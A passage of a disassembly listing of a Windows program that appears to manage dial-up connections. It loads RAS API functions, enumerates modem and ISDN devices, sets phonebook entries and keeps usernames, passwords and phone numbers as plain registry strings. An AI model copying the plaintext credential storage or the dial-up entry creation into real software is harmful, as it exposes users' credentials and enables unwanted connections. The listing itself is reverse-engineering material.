; ---------------------------------------------------------------------------


loc_408F83:				; CODE XREF: sub_408F10+68j
		lea	ecx, [esp+10h+cbData]
		lea	edx, [esp+10h+Type]
		push	ecx		; lpcbData
		push	eax		; lpData
		mov	eax, [ebx]
		push	edx		; lpType
		push	0		; lpReserved
		push	edi		; lpValueName
		push	eax		; hKey
		call	ebp ; RegQueryValueExA
		test	eax, eax
		jz	short loc_408FB4
		mov	ecx, [esi]
		push	ecx		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_408FB4:				; CODE XREF: sub_408F10+88j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn	0Ch
sub_408F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_408FC0(int,LPCSTR phkResult)

sub_408FC0	proc near		; CODE XREF: sub_405830+10Fp
					; sub_407EC0+10Dp

lpMem		= dword	ptr -0Ch
var_8		= dword	ptr -8
dwDisposition	= dword	ptr -4
phkResult	= dword	ptr  4

		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+14h+phkResult]
		lea	eax, [esi+28h]
		push	edi		; lpString2
		push	eax		; int
		call	sub_408E00
		lea	ecx, [esp+14h+dwDisposition]
		lea	edx, [esp+14h+phkResult]
		push	ecx		; lpdwDisposition
		push	edx		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		push	edi		; lpSubKey
		push	80000001h	; hKey
		mov	[esp+38h+phkResult], 0
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_40900E
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 0Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40900E:				; CODE XREF: sub_408FC0+42j
		push	ebx
		push	esi		; int
		lea	eax, [esp+1Ch+phkResult]
		push	offset cbData	; "version"
		push	eax		; Type
		mov	ecx, esi
		mov	[esp+24h+lpMem], 0
		call	sub_408F10
		test	al, al
		jz	loc_40910A
		lea	ecx, [esi+4]
		lea	edx, [esp+18h+phkResult]
		push	ecx		; int
		push	offset aSerial	; "serial"
		push	edx		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	loc_40910A
		lea	eax, [esi+8]
		lea	ecx, [esp+18h+phkResult]
		push	eax		; int
		push	offset aUsername1 ; "username1"
		push	ecx		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	loc_40910A
		lea	edx, [esi+0Ch]
		lea	eax, [esp+18h+phkResult]
		push	edx		; int
		push	offset aUsername2 ; "username2"
		push	eax		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	loc_40910A
		lea	ecx, [esi+10h]
		lea	edx, [esp+18h+phkResult]
		push	ecx		; int
		push	offset aPassword1 ; "password1"
		push	edx		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	short loc_40910A
		lea	eax, [esi+14h]
		lea	ecx, [esp+18h+phkResult]
		push	eax		; int
		push	offset aPassword2 ; "password2"
		push	ecx		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	short loc_40910A
		lea	edx, [esi+18h]
		lea	eax, [esp+18h+phkResult]
		push	edx		; int
		push	offset aPhonenumber1 ; "phonenumber1"
		push	eax		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	short loc_40910A
		lea	ecx, [esi+1Ch]
		lea	edx, [esp+18h+phkResult]
		push	ecx		; int
		push	offset aPhonenumber2 ; "phonenumber2"
		push	edx		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	short loc_40910A
		lea	eax, [esp+18h+lpMem]
		lea	ecx, [esp+18h+phkResult]
		push	eax		; int
		push	offset aConnecttime ; "connecttime"
		push	ecx		; Type
		mov	ecx, esi
		call	sub_408F10
		test	al, al
		jz	short loc_40910A
		mov	bl, 1
		jmp	short loc_40910C
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408FC0+6Bj
					; sub_408FC0+88j ...
		xor	bl, bl


loc_40910C:				; CODE XREF: sub_408FC0+148j
		mov	edx, [esp+18h+phkResult]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		cmp	bl, 1
		jnz	short loc_40913D
		mov	ecx, [esp+18h+lpMem]
		lea	eax, [esp+18h+var_8]
		push	0Ah
		push	eax
		push	ecx
		call	sub_40B26C
		mov	edx, [esp+24h+var_8]
		mov	[esi+24h], eax
		add	esp, 0Ch
		cmp	byte ptr [edx],	0
		setz	bl


loc_40913D:				; CODE XREF: sub_408FC0+15Aj
		mov	eax, [esp+18h+lpMem]
		test	eax, eax
		jz	short loc_40914E
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4


loc_40914E:				; CODE XREF: sub_408FC0+183j
		mov	al, bl
		pop	ebx
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn	4
sub_408FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409160(int,LPCSTR lpValueName,LPCSTR lpData)

sub_409160	proc near		; CODE XREF: sub_409190+60p
					; sub_409190+7Dp ...

arg_0		= dword	ptr  4
lpValueName	= dword	ptr  8
lpData		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+lpData]
		push	esi		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	ecx, [esp+4+arg_0]
		push	eax		; cbData
		mov	eax, [esp+8+lpValueName]
		push	esi		; lpData
		mov	edx, [ecx]
		push	1		; dwType
		push	0		; Reserved
		push	eax		; lpValueName
		push	edx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA
		test	eax, eax
		setz	al
		pop	esi
		retn	0Ch
sub_409160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409190(LPCSTR dwDisposition)

sub_409190	proc near		; CODE XREF: sub_4092B0+Bp

hKey		= dword	ptr -44h
Data		= byte ptr -40h
dwDisposition	= dword	ptr  4

		sub	esp, 44h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	edx, [esp+4Ch+dwDisposition]
		lea	eax, [esp+4Ch+dwDisposition]
		lea	ecx, [esp+4Ch+hKey]
		xor	ebx, ebx
		push	eax		; lpdwDisposition
		push	ecx		; phkResult
		push	ebx		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	ebx		; dwOptions
		push	ebx		; lpClass
		push	ebx		; Reserved
		push	edx		; lpSubKey
		push	80000001h	; hKey
		mov	[esp+70h+hKey],	ebx
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_4091CE
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 44h
		retn	4
; ---------------------------------------------------------------------------


loc_4091CE:				; CODE XREF: sub_409190+32j
		mov	ecx, [esi+24h]
		lea	eax, [esp+4Ch+Data]
		push	0Ah
		push	eax
		push	ecx
		call	sub_40BE1D
		mov	edx, [esi]
		add	esp, 0Ch
		lea	eax, [esp+4Ch+hKey]
		mov	ecx, esi
		push	edx		; lpData
		push	offset cbData	; "version"
		push	eax		; int
		call	sub_409160
		test	al, al
		jz	loc_40929A
		mov	ecx, [esi+4]
		lea	edx, [esp+4Ch+hKey]
		push	ecx		; lpData
		push	offset aSerial	; "serial"
		push	edx		; int
		mov	ecx, esi
		call	sub_409160
		test	al, al
		jz	loc_40929A
		mov	eax, [esi+8]
		lea	ecx, [esp+4Ch+hKey]
		push	eax		; lpData
		push	offset aUsername1 ; "username1"
		push	ecx		; int
		mov	ecx, esi
		call	sub_409160
		test	al, al
		jz	short loc_40929A
		mov	edx, [esi+0Ch]
		lea	eax, [esp+4Ch+hKey]
		push	edx		; lpData
		push	offset aUsername2 ; "username2"
		push	eax		; int
		mov	ecx, esi
		call	sub_409160
		test	al, al
		jz	short loc_40929A
		mov	ecx, [esi+10h]
		lea	edx, [esp+4Ch+hKey]
		push	ecx		; lpData
		push	offset aPassword1 ; "password1"
		push	edx		; int
		mov	ecx, esi
		call	sub_409160
		test	al, al
		jz	short loc_40929A
		mov	eax, [esi+14h]
		lea	ecx, [esp+4Ch+hKey]
		push	eax		; lpData
		push	offset aPassword2 ; "password2"
		push	ecx		; int
		mov	ecx, esi
		call	sub_409160
		test	al, al
		jz	short loc_40929A
		lea	edx, [esp+4Ch+Data]
		lea	eax, [esp+4Ch+hKey]
		push	edx		; lpData
		push	offset aConnecttime ; "connecttime"
		push	eax		; int
		mov	ecx, esi
		call	sub_409160
		test	al, al
		jz	short loc_40929A
		mov	bl, 1


loc_40929A:				; CODE XREF: sub_409190+67j
					; sub_409190+84j ...
		mov	ecx, [esp+4Ch+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 44h
		retn	4
sub_409190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4092B0	proc near		; CODE XREF: sub_405C90+70Dp
					; sub_406720+517p
		mov	eax, [ecx+28h]
		test	eax, eax
		jnz	short loc_4092BA
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_4092BA:				; CODE XREF: sub_4092B0+5j
		push	eax		; dwDisposition
		call	sub_409190
		retn
sub_4092B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_4092D0(int,HINSTANCE hInstance,UINT	uID)

sub_4092D0	proc near		; CODE XREF: sub_4057D0+1Fp
					; sub_4057D0+2Ep

arg_0		= dword	ptr  4
hInstance	= dword	ptr  8
uID		= dword	ptr  0Ch

		mov	eax, [esp+uID]
		mov	edx, [esp+hInstance]
		push	eax		; uID
		push	edx		; hInstance
		mov	edx, [esp+8+arg_0]
		lea	eax, [ecx+8]
		push	eax		; int
		push	edx		; int
		call	sub_408E90
		retn	0Ch
sub_4092D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4092F0	proc near		; CODE XREF: sub_405830+256p
					; sub_406720+467p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		lea	eax, [ecx+8]
		push	eax
		push	edx
		call	sub_408EF0
		retn	4
sub_4092F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409310(int,HINSTANCE hInstance,UINT	uID)

sub_409310	proc near		; CODE XREF: sub_4057D0+3Dp
					; sub_4057D0+4Cp

arg_0		= dword	ptr  4
hInstance	= dword	ptr  8
uID		= dword	ptr  0Ch

		mov	eax, [esp+uID]
		mov	edx, [esp+hInstance]
		push	eax		; uID
		push	edx		; hInstance
		mov	edx, [esp+8+arg_0]
		lea	eax, [ecx+10h]
		push	eax		; int
		push	edx		; int
		call	sub_408E90
		retn	0Ch
sub_409310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409330	proc near		; CODE XREF: sub_405830+26Bp
					; sub_406720+47Cp ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		lea	eax, [ecx+10h]
		push	eax
		push	edx
		call	sub_408EF0
		retn	4
sub_409330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409350(int,LPCSTR lpString2)

sub_409350	proc near		; CODE XREF: sub_406E60+8FEp
					; sub_406E60+90Ep ...

arg_0		= dword	ptr  4
lpString2	= dword	ptr  8

		mov	eax, [esp+lpString2]
		lea	edx, [ecx+18h]
		push	eax		; lpString2
		mov	eax, [esp+4+arg_0]
		push	edx		; int
		push	eax		; int
		call	sub_408E60
		retn	8
sub_409350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409370	proc near		; CODE XREF: sub_405830+290p
					; sub_406720+491p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		lea	eax, [ecx+18h]
		push	eax
		push	edx
		call	sub_408EF0
		retn	4
sub_409370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409390(LPCSTR lpString2)

sub_409390	proc near		; CODE XREF: sub_4093B0+3Dp

lpString2	= dword	ptr  4

		mov	eax, [esp+lpString2]
		lea	edx, [ecx+20h]
		push	eax		; lpString2
		push	edx		; int
		call	sub_408E00
		retn	4
sub_409390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_4093B0(HINSTANCE hInstance,UINT uID)

sub_4093B0	proc near		; CODE XREF: sub_405830+24Dp

String2		= byte ptr -400h
hInstance	= dword	ptr  4
uID		= dword	ptr  8

		mov	edx, [esp+hInstance]
		sub	esp, 400h
		lea	eax, [esp+400h+String2]
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+404h+uID]
		push	400h		; cchBufferMax
		push	eax		; lpBuffer
		push	ecx		; uID
		push	edx		; hInstance
		call	ds:LoadStringA	; LoadStringA
		test	eax, eax
		jnz	short loc_4093E6
		xor	al, al
		pop	esi
		add	esp, 400h
		retn	8
; ---------------------------------------------------------------------------


loc_4093E6:				; CODE XREF: sub_4093B0+28j
		lea	eax, [esp+404h+String2]
		mov	ecx, esi
		push	eax		; lpString2
		call	sub_409390
		pop	esi
		add	esp, 400h
		retn	8
sub_4093B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409400	proc near		; CODE XREF: sub_406720+33Bp
		mov	eax, [ecx+20h]
		retn
sub_409400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409410	proc near		; CODE XREF: sub_4057D0+55p
					; sub_406720+510p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	[ecx+24h], eax
		retn	4
sub_409410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409420	proc near		; CODE XREF: sub_405830+205p
					; sub_406720+506p
		mov	eax, [ecx+24h]
		retn
sub_409420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409430(LPCSTR lpString2)

sub_409430	proc near		; CODE XREF: sub_409450+3Dp

lpString2	= dword	ptr  4

		mov	eax, [esp+lpString2]
		lea	edx, [ecx+4]
		push	eax		; lpString2
		push	edx		; int
		call	sub_408E00
		retn	4
sub_409430	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409450(HINSTANCE hInstance,UINT uID)

sub_409450	proc near		; CODE XREF: sub_4057D0+10p

String2		= byte ptr -400h
hInstance	= dword	ptr  4
uID		= dword	ptr  8

		mov	edx, [esp+hInstance]
		sub	esp, 400h
		lea	eax, [esp+400h+String2]
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+404h+uID]
		push	400h		; cchBufferMax
		push	eax		; lpBuffer
		push	ecx		; uID
		push	edx		; hInstance
		call	ds:LoadStringA	; LoadStringA
		test	eax, eax
		jnz	short loc_409486
		xor	al, al
		pop	esi
		add	esp, 400h
		retn	8
; ---------------------------------------------------------------------------


loc_409486:				; CODE XREF: sub_409450+28j
		lea	eax, [esp+404h+String2]
		mov	ecx, esi
		push	eax		; lpString2
		call	sub_409430
		pop	esi
		add	esp, 400h
		retn	8
sub_409450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4094A0	proc near		; CODE XREF: sub_405C90+22Ap
		push	esi
		mov	esi, ecx
		call	sub_4094B0
		mov	eax, esi
		pop	esi
		retn
sub_4094A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4094B0	proc near		; CODE XREF: sub_4094A0+3p
		xor	eax, eax
		lea	edx, [ecx+94h]
		push	edi
		mov	[ecx+5F4h], eax
		mov	[ecx+5F8h], eax
		mov	[ecx+5D0h], eax
		mov	[ecx], eax
		mov	[ecx+90h], eax
		mov	[ecx+8Ch], eax
		mov	[ecx+4B0h], eax
		mov	[ecx+4], al
		mov	[ecx+9], al
		mov	[ecx+5C4h], eax
		mov	[ecx+5CCh], eax
		mov	[ecx+5C8h], eax
		mov	[ecx+5BCh], eax
		mov	[ecx+5B8h], eax
		mov	[ecx+4B5h], al
		mov	[ecx+4B4h], al
		mov	ecx, 107h
		mov	edi, edx
		rep stosd
		mov	dword ptr [edx], 41Ch
		pop	edi
		retn
sub_4094B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_409520	proc near		; CODE XREF: sub_405C90+23Ap
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_409530
		push	eax		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary


loc_409530:				; CODE XREF: sub_409520+7j
		push	offset aRasapi32_dll ; "RASAPI32.DLL"
		call	ds:LoadLibraryA	; LoadLibraryA
		test	eax, eax
		mov	[esi], eax
		jz	loc_40963D
		push	edi
		mov	edi, ds:GetProcAddress
		push	offset aRasenumdevices ; "RasEnumDevicesA"
		push	eax		; hModule
		call	edi ; GetProcAddress
		mov	[esi+5D0h], eax
		mov	eax, [esi]
		push	offset aRasdiala ; "RasDialA"
		push	eax		; hModule
		call	edi ; GetProcAddress
		mov	ecx, [esi]
		push	offset aRasgeterrorstr ; "RasGetErrorStringA"
		push	ecx		; hModule
		mov	[esi+5D4h], eax
		call	edi ; GetProcAddress
		mov	edx, [esi]
		push	offset aRasgetentrypro ; "RasGetEntryPropertiesA"
		push	edx		; hModule
		mov	[esi+5D8h], eax
		call	edi ; GetProcAddress
		mov	[esi+5DCh], eax
		mov	eax, [esi]
		push	offset aRassetentrypro ; "RasSetEntryPropertiesA"
		push	eax		; hModule
		call	edi ; GetProcAddress
		mov	ecx, [esi]
		push	offset aRashangupa ; "RasHangUpA"
		push	ecx		; hModule
		mov	[esi+5E0h], eax
		call	edi ; GetProcAddress
		mov	edx, [esi]
		push	offset aRasenumconnect ; "RasEnumConnectionsA"
		push	edx		; hModule
		mov	[esi+5E4h], eax
		call	edi ; GetProcAddress
		mov	[esi+5E8h], eax
		mov	eax, [esi]
		push	offset aRasgetconnects ; "RasGetConnectStatusA"
		push	eax		; hModule
		call	edi ; GetProcAddress
		mov	ecx, [esi]
		push	offset aRassetentrydia ; "RasSetEntryDialParamsA"
		push	ecx		; hModule
		mov	[esi+5ECh], eax
		call	edi ; GetProcAddress
		mov	ecx, [esi+5D0h]
		mov	[esi+5F0h], eax
		test	ecx, ecx
		pop	edi
		jz	short loc_40963D
		mov	ecx, [esi+5D4h]
		test	ecx, ecx
		jz	short loc_40963D
		mov	ecx, [esi+5D8h]
		test	ecx, ecx
		jz	short loc_40963D
		mov	ecx, [esi+5DCh]
		test	ecx, ecx
		jz	short loc_40963D
		mov	ecx, [esi+5E0h]
		test	ecx, ecx
		jz	short loc_40963D
		mov	ecx, [esi+5E4h]
		test	ecx, ecx
		jz	short loc_40963D
		mov	ecx, [esi+5E8h]
		test	ecx, ecx
		jz	short loc_40963D
		mov	ecx, [esi+5ECh]
		test	ecx, ecx
		jz	short loc_40963D
		test	eax, eax
		jz	short loc_40963D
		mov	ecx, esi
		call	sub_409650
		test	eax, eax
		setz	al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40963D:				; CODE XREF: sub_409520+1Fj
					; sub_409520+C3j ...
		xor	al, al
		pop	esi
		retn
sub_409520	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409650	proc near		; CODE XREF: sub_409520+111p

dwBytes		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+5D0h]
		mov	[esi+5F4h], edi
		cmp	eax, edi
		mov	[esi+5F8h], edi
		jnz	short loc_409678
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_409678:				; CODE XREF: sub_409650+1Dj
		lea	ecx, [esp+10h+var_4]
		lea	edx, [esp+10h+dwBytes]
		push	ecx
		push	edx
		push	edi
		mov	[esp+1Ch+dwBytes], edi
		call	eax
		cmp	[esp+10h+var_4], edi
		jnz	short loc_409698
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_409698:				; CODE XREF: sub_409650+3Dj
		mov	eax, [esp+10h+dwBytes]
		push	eax		; dwBytes
		call	sub_40AE50
		add	esp, 4
		cmp	eax, edi
		mov	[esi+5F8h], eax
		jnz	short loc_4096BA
		pop	edi
		mov	eax, 298h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4096BA:				; CODE XREF: sub_409650+5Dj
		lea	ecx, [esp+10h+var_4]
		mov	dword ptr [eax], 98h
		mov	eax, [esi+5F8h]
		lea	edx, [esp+10h+dwBytes]
		push	ecx
		push	edx
		push	eax
		call	dword ptr [esi+5D0h]
		test	eax, eax
		jz	short loc_4096F0
		mov	ecx, [esi+5F8h]
		push	ecx		; lpMem
		call	sub_40AF60
		add	esp, 4
		mov	[esi+5F8h], edi


loc_4096F0:				; CODE XREF: sub_409650+89j
		mov	edx, [esp+10h+var_4]
		pop	edi
		mov	[esi+5F4h], edx
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
sub_409650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409710	proc near		; CODE XREF: sub_405C90+570p
		mov	eax, [ecx+5F4h]
		retn
sub_409710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409720	proc near		; CODE XREF: sub_405C90+67Fp
					; sub_405C90+6E4p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebp
		call	sub_4097B0
		mov	edi, eax
		test	edi, edi
		jz	short loc_409775
		mov	ebx, ds:lstrcmpA
		push	offset aModem	; "modem"
		push	edi		; lpString1
		call	ebx ; lstrcmpA
		test	eax, eax
		jz	short loc_409754
		push	offset aIsdn	; "isdn"
		push	edi		; lpString1
		call	ebx ; lstrcmpA
		test	eax, eax
		jnz	short loc_409775


loc_409754:				; CODE XREF: sub_409720+26j
		push	ebp
		mov	ecx, esi
		call	sub_409780
		push	eax		; lpString2
		mov	ecx, esi
		call	sub_409B90
		push	edi		; lpString2
		mov	ecx, esi
		call	sub_409BB0
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_409775:				; CODE XREF: sub_409720+14j
					; sub_409720+32j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	4
sub_409720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409780	proc near		; CODE XREF: sub_405C90+645p
					; sub_409720+37p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_4097A3
		cmp	eax, [ecx+5F4h]
		jge	short loc_4097A3
		mov	ecx, [ecx+5F8h]
		lea	edx, [eax+eax*8]
		lea	eax, [eax+edx*2]
		lea	eax, [ecx+eax*8+15h]
		retn	4
; ---------------------------------------------------------------------------


loc_4097A3:				; CODE XREF: sub_409780+6j
					; sub_409780+Ej
		xor	eax, eax
		retn	4
sub_409780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4097B0	proc near		; CODE XREF: sub_405C90+610p
					; sub_409720+Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_4097D3
		cmp	eax, [ecx+5F4h]
		jge	short loc_4097D3
		mov	ecx, [ecx+5F8h]
		lea	edx, [eax+eax*8]
		lea	eax, [eax+edx*2]
		lea	eax, [ecx+eax*8+4]
		retn	4
; ---------------------------------------------------------------------------


loc_4097D3:				; CODE XREF: sub_4097B0+6j
					; sub_4097B0+Ej
		xor	eax, eax
		retn	4
sub_4097B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_4097E0(LPCSTR lpString1)

sub_4097E0	proc near		; CODE XREF: sub_406D50+45p

lpString1	= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+5F4h]
		test	eax, eax
		jle	short loc_40981F
		mov	ebp, [esp+10h+lpString1]
		xor	edi, edi


loc_4097F8:				; CODE XREF: sub_4097E0+3Dj
		mov	eax, [esi+5F8h]
		lea	ecx, [edi+eax+15h]
		push	ecx		; lpString2
		push	ebp		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	short loc_409829
		mov	eax, [esi+5F4h]
		inc	ebx
		add	edi, 98h
		cmp	ebx, eax
		jl	short loc_4097F8


loc_40981F:				; CODE XREF: sub_4097E0+10j
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_409829:				; CODE XREF: sub_4097E0+2Cj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	4
sub_4097E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_409840(LPCSTR lpString2)

sub_409840	proc near		; CODE XREF: sub_405C90+4C2p

lpString2	= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+5DCh]
		test	eax, eax
		jnz	short loc_40985C
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 278h
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_409840+Ej
		mov	eax, [esi+8Ch]
		test	eax, eax
		jz	short loc_409879
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	dword ptr [esi+8Ch], 0


loc_409879:				; CODE XREF: sub_409840+24j
		mov	eax, [esp+10h+lpString2]
		lea	ebp, [esi+98h]
		push	101h		; iMaxLength
		push	eax		; lpString2
		push	ebp		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		lea	ebx, [esi+90h]
		push	0
		push	0
		push	ebx
		push	0
		push	ebp
		push	0
		mov	dword ptr [ebx], 0
		call	dword ptr [esi+5DCh]
		test	eax, eax
		jz	short loc_4098DE
		push	0
		push	0
		push	ebx
		push	0
		push	offset dword_40FBD8
		push	0
		mov	dword ptr [ebx], 0
		call	dword ptr [esi+5DCh]
		cmp	eax, 25Bh
		jz	short loc_4098DE
		pop	edi
		pop	esi
		mov	dword ptr [ebx], 0
		pop	ebp
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_4098DE:				; CODE XREF: sub_409840+6Ej
					; sub_409840+8Fj
		mov	ecx, [ebx]
		push	ecx		; dwBytes
		call	sub_40AE50
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	[esi+8Ch], edi
		jnz	short loc_409903
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		mov	eax, 298h
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_409903:				; CODE XREF: sub_409840+B3j
		mov	ecx, [ebx]
		xor	eax, eax
		mov	edx, ecx
		push	0
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	0
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esi+8Ch]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	edx, [esi+8Ch]
		push	edx
		push	ebp
		push	0
		call	dword ptr [esi+5DCh]
		test	eax, eax
		jz	short loc_40997F
		mov	eax, [esi+8Ch]
		push	0
		push	0
		push	ebx
		push	eax
		push	offset dword_40FBD8
		push	0
		call	dword ptr [esi+5DCh]
		mov	edi, eax
		test	edi, edi
		jz	short loc_40997F
		mov	ecx, [esi+8Ch]
		push	ecx		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [esi+8Ch], 0
		mov	dword ptr [ebx], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_40997F:				; CODE XREF: sub_409840+F6j
					; sub_409840+115j
		mov	edx, [esi+8Ch]
		push	81h		; iMaxLength
		push	offset asc_40F704 ; " "
		mov	dword ptr [edx+4], 218h
		mov	eax, [esi+8Ch]
		mov	dword ptr [eax+0B8h], 4
		mov	ecx, [esi+8Ch]
		mov	dword ptr [ecx+0BCh], 1
		mov	edx, [esi+8Ch]
		add	edx, 1Bh
		push	edx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	4
sub_409840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4099D0	proc near		; CODE XREF: sub_405C90+7BBp
					; sub_406720+1BDp ...

bstrString	= dword	ptr -3Ch
lpMem		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
lpString	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
